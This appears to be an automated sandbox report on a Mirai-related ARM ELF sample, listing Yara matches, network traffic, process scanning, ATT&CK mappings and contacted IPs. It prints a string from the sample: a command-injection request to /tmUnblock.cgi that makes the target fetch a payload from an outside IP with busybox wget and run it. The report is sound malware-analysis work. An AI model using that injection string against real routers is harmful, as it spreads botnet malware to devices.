Source: unknown	Network traffic detected: HTTP traffic on port 57540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48354 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53904
Source: unknown	Network traffic detected: HTTP traffic on port 36622 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53908
Source: unknown	Network traffic detected: HTTP traffic on port 55142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53918
Source: unknown	Network traffic detected: HTTP traffic on port 46690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53910
Source: unknown	Network traffic detected: HTTP traffic on port 40398 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39624
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39616
Source: unknown	Network traffic detected: HTTP traffic on port 50920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39618
Source: unknown	Network traffic detected: HTTP traffic on port 35574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41934
Source: unknown	Network traffic detected: HTTP traffic on port 42050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33152 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: CuruFoiJiK.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5513.1.00007f1d38017000.00007f1d38024000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5517.1.00007f1d38017000.00007f1d38024000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://45.142.182.103/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://45.142.182.103/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0POST /tmUnblock.cgi HTTP/1.1

Source: ELF static info symbol of initial sample

.symtab present: no

Source: CuruFoiJiK.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5513.1.00007f1d38017000.00007f1d38024000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5517.1.00007f1d38017000.00007f1d38024000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research

Source: classification engine

Classification label: mal80.troj.linELF@0/0@0/0

Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1185/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3241/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1732/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1730/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1333/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1695/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3235/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3234/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/911/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/515/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/914/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1617/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1615/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/917/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3255/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3253/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1591/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3252/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3251/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3250/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1623/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1588/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3249/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/764/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1585/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3246/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/766/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/800/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/888/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/802/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1509/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/803/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/804/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1867/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1484/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/490/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1514/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1634/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1479/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1875/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/654/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/655/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/656/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/777/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/931/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1595/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/657/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/812/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/779/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/658/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/933/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/418/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/419/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3275/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3274/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3273/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3272/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/782/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3303/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1762/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3027/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1486/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/789/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1806/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1660/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3044/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/793/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/794/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/674/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/796/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/675/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/676/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1498/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1497/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1496/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3157/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3278/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1659/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3210/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3298/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3052/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/680/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/681/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3292/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1701/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1666/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3205/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3047/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3201/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/723/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/724/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1704/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1669/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3060/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1440/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3222/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3188/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3220/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3064/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3062/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/3183/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1679/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/850/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1432/maps	Jump to behavior
Source: /tmp/CuruFoiJiK.elf (PID: 5524)	File opened: /proc/1553/maps	Jump to behavior

Source: /tmp/CuruFoiJiK.elf (PID: 5513)

Queries kernel information via 'uname':

Jump to behavior

Source: CuruFoiJiK.elf, 5513.1.00007ffea2b4e000.00007ffea2b6f000.rw-.sdmp, CuruFoiJiK.elf, 5517.1.00007ffea2b4e000.00007ffea2b6f000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/CuruFoiJiK.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/CuruFoiJiK.elf
Source: CuruFoiJiK.elf, 5513.1.00005604a1814000.00005604a1942000.rw-.sdmp, CuruFoiJiK.elf, 5517.1.00005604a1814000.00005604a1942000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: CuruFoiJiK.elf, 5513.1.00005604a1814000.00005604a1942000.rw-.sdmp, CuruFoiJiK.elf, 5517.1.00005604a1814000.00005604a1942000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm
Source: CuruFoiJiK.elf, 5513.1.00007ffea2b4e000.00007ffea2b6f000.rw-.sdmp, CuruFoiJiK.elf, 5517.1.00007ffea2b4e000.00007ffea2b6f000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: CuruFoiJiK.elf, type: SAMPLE
Source: Yara match	File source: 5513.1.00007f1d38017000.00007f1d38024000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5517.1.00007f1d38017000.00007f1d38024000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: CuruFoiJiK.elf, type: SAMPLE
Source: Yara match	File source: 5513.1.00007f1d38017000.00007f1d38024000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5517.1.00007f1d38017000.00007f1d38024000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	3 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Scheduled Transfer	2 Ingress Tool Transfer			Data Encrypted for Impact	Server	Gather Victim Network Information

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
CuruFoiJiK.elf	73%	ReversingLabs	Linux.Trojan.Mirai
CuruFoiJiK.elf	66%	Virustotal		Browse
CuruFoiJiK.elf	100%	Avira	EXP/ELF.Mirai.Bot.Hua.d

Name	Malicious	Antivirus Detection	Reputation
http://45.142.182.103:80/tmUnblock.cgi	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://45.142.182.103/bin	CuruFoiJiK.elf	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
52.254.111.182	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
42.93.231.4	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
212.159.149.223	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
210.47.69.144	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
23.216.221.176	unknown	United States	16625	AKAMAI-ASUS	false
163.84.196.104	unknown	France	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
8.20.93.50	unknown	United States	30372	SUNESYS2US	false
146.210.255.203	unknown	Austria	42114	VNWT-ASAT	false
5.60.242.95	unknown	Poland	8374	PLUSNETPlusnetworkoperatorinPolandPL	false
178.4.51.159	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
178.103.193.152	unknown	United Kingdom	12576	EELtdGB	false
57.147.18.70	unknown	Belgium	2686	ATGS-MMD-ASUS	false
37.8.169.66	unknown	France	51207	FREEMFR	false
187.197.150.255	unknown	Mexico	8151	UninetSAdeCVMX	false
13.102.144.130	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
178.87.227.27	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
185.145.21.253	unknown	Austria	51890	MAYR-MELNHOFAT	false
192.49.160.61	unknown	Finland	375	TIETOTIE-ASPOBox38FI-00441HelsinkiFinlandEU	false
52.123.104.152	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
118.65.22.16	unknown	China	4713	OCNNTTCommunicationsCorporationJP	false
219.63.208.42	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
42.80.118.90	unknown	China	17638	CHINATELECOM-TJ-AS-APASNforTIANJINProvincialNetofCT	false
103.196.44.173	unknown	Indonesia	56248	INDAHKIATPP-AS-IDPTINDAHKIATPULPPAPERTbkID	false
73.96.201.63	unknown	United States	7922	COMCAST-7922US	false
211.40.226.226	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
100.9.37.159	unknown	United States	5650	FRONTIER-FRTRUS	false
58.181.254.136	unknown	Thailand	7693	COMNET-THKSCCommercialInternetCoLtdTH	false
199.105.47.6	unknown	United States	7018	ATT-INTERNET4US	false
216.184.218.26	unknown	United States	4565	MEGAPATH2-US	false
102.102.36.38	unknown	Morocco	36925	ASMediMA	false
37.69.111.62	unknown	France	15557	LDCOMNETFR	false
177.202.34.172	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
79.185.87.125	unknown	Poland	5617	TPNETPL	false
64.147.98.89	unknown	United States	11403	NYINTERNETUS	false
37.205.15.223	unknown	Czech Republic	24971	MASTER-ASCzechRepublicwwwmasterczCZ	false
179.157.12.124	unknown	Brazil	28573	CLAROSABR	false
93.151.182.110	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
132.215.179.133	unknown	Canada	376	RISQ-ASCA	false
42.21.33.102	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
79.12.221.165	unknown	Italy	3269	ASN-IBSNAZIT	false
36.45.96.33	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
111.84.244.44	unknown	Thailand	24378	ENGTAC-AS-TH-APTotalAccessCommunicationPLCTH	false
79.62.227.219	unknown	Italy	3269	ASN-IBSNAZIT	false
2.77.58.152	unknown	Kazakhstan	29355	KCELL-ASKZ	false
79.118.59.20	unknown	Romania	8708	RCS-RDS73-75DrStaicoviciRO	false
140.234.122.142	unknown	United States	6932	EBSCOPUBUS	false
47.207.214.248	unknown	United States	5650	FRONTIER-FRTRUS	false
130.170.163.21	unknown	United States	12173	UAUS	false
94.54.78.121	unknown	Turkey	47524	TURKSAT-ASTR	false
65.247.243.206	unknown	United States	701	UUNETUS	false
17.159.222.66	unknown	United States	714	APPLE-ENGINEERINGUS	false
37.8.158.165	unknown	Russian Federation	42038	VLADLINK-ASRU	false
83.169.117.113	unknown	France	8784	AS8784ManagedServicesProviderFR	false
101.43.77.227	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
2.113.39.129	unknown	Italy	3269	ASN-IBSNAZIT	false
179.41.145.205	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
94.147.61.107	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
221.38.97.42	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
203.146.48.194	unknown	Thailand	4750	CSLOXINFO-AS-APCSLOXINFOPUBLICCOMPANYLIMITEDTH	false
44.13.22.208	unknown	United States	7377	UCSDUS	false
210.186.205.151	unknown	Malaysia	4788	TMNET-AS-APTMNetInternetServiceProviderMY	false
102.45.70.162	unknown	Egypt	8452	TE-ASTE-ASEG	false
118.8.227.68	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
20.44.231.188	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
37.186.202.200	unknown	Italy	12874	FASTWEBIT	false
156.241.153.134	unknown	Seychelles	137443	ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK	false
79.131.32.38	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	false
118.255.147.35	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
2.133.122.107	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
2.254.3.127	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
202.188.117.224	unknown	Malaysia	4788	TMNET-AS-APTMNetInternetServiceProviderMY	false
109.32.62.177	unknown	Netherlands	15480	VFNL-ASVodafoneNLAutonomousSystemNL	false
217.77.161.148	unknown	Czech Republic	16019	VODAFONE-CZ-ASCZ	false
5.105.175.117	unknown	Ukraine	43554	CDS-ASUA	false
184.8.178.193	unknown	United States	7011	FRONTIER-AND-CITIZENSUS	false
208.187.168.229	unknown	United States	16578	DATANOCUS	false
178.124.235.148	unknown	Belarus	6697	BELPAK-ASBELPAKBY	false
193.202.137.79	unknown	Germany	13043	BAYER-ASDE	false
133.249.94.143	unknown	Japan	17947	S-UTOPIASAKURAKCSCorporationJP	false
210.255.206.75	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
149.33.35.234	unknown	United States	174	COGENT-174US	false
168.161.177.180	unknown	United States	38027	MOST-AS-APInformationCenterMinistryofSciandTechCN	false
61.19.157.102	unknown	Thailand	9931	CAT-APTheCommunicationAuthoityofThailandCATTH	false
77.170.39.10	unknown	Netherlands	1136	KPNKPNNationalEU	false
5.210.100.155	unknown	Iran (ISLAMIC Republic Of)	197207	MCCI-ASIR	false
212.223.243.211	unknown	Germany	8741	RATIOKONTAKTDE	false
107.60.118.44	unknown	United States	16567	NETRIX-16567US	false
206.204.173.91	unknown	United States	4544	CONXION-AUS	false
138.133.183.56	unknown	United States	3269	ASN-IBSNAZIT	false
210.27.122.200	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
172.138.218.19	unknown	United States	7018	ATT-INTERNET4US	false
210.212.213.16	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	false
212.48.233.125	unknown	Russian Federation	51093	VMCITYRU	false
210.123.22.130	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
118.248.146.228	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
145.21.57.217	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
97.156.159.8	unknown	United States	6167	CELLCO-PARTUS	false
118.32.107.142	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
186.113.206.92	unknown	Colombia	3816	COLOMBIATELECOMUNICACIONESSAESPCO	false
87.91.134.152	unknown	France	5410	BOUYGTEL-ISPFR	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
52.254.111.182	miori.i6-20220605-0338	Get hash	malicious	Unknown	Browse
42.93.231.4	arm	Get hash	malicious	Mirai	Browse
210.47.69.144	BpWEfZ5bOU	Get hash	malicious	Mirai	Browse
23.216.221.176	6r2OCh1AUl.elf	Get hash	malicious	Mirai	Browse
8.20.93.50	gG3Egh3d5T.elf	Get hash	malicious	Mirai	Browse
146.210.255.203	sora.arm7.elf	Get hash	malicious	Mirai	Browse
5.60.242.95	yir8ieZzXL	Get hash	malicious	Gafgyt Mirai	Browse
178.4.51.159	rih4uw6saZ.elf	Get hash	malicious	Mirai	Browse
178.103.193.152	eSKlRCffX4	Get hash	malicious	Mirai	Browse
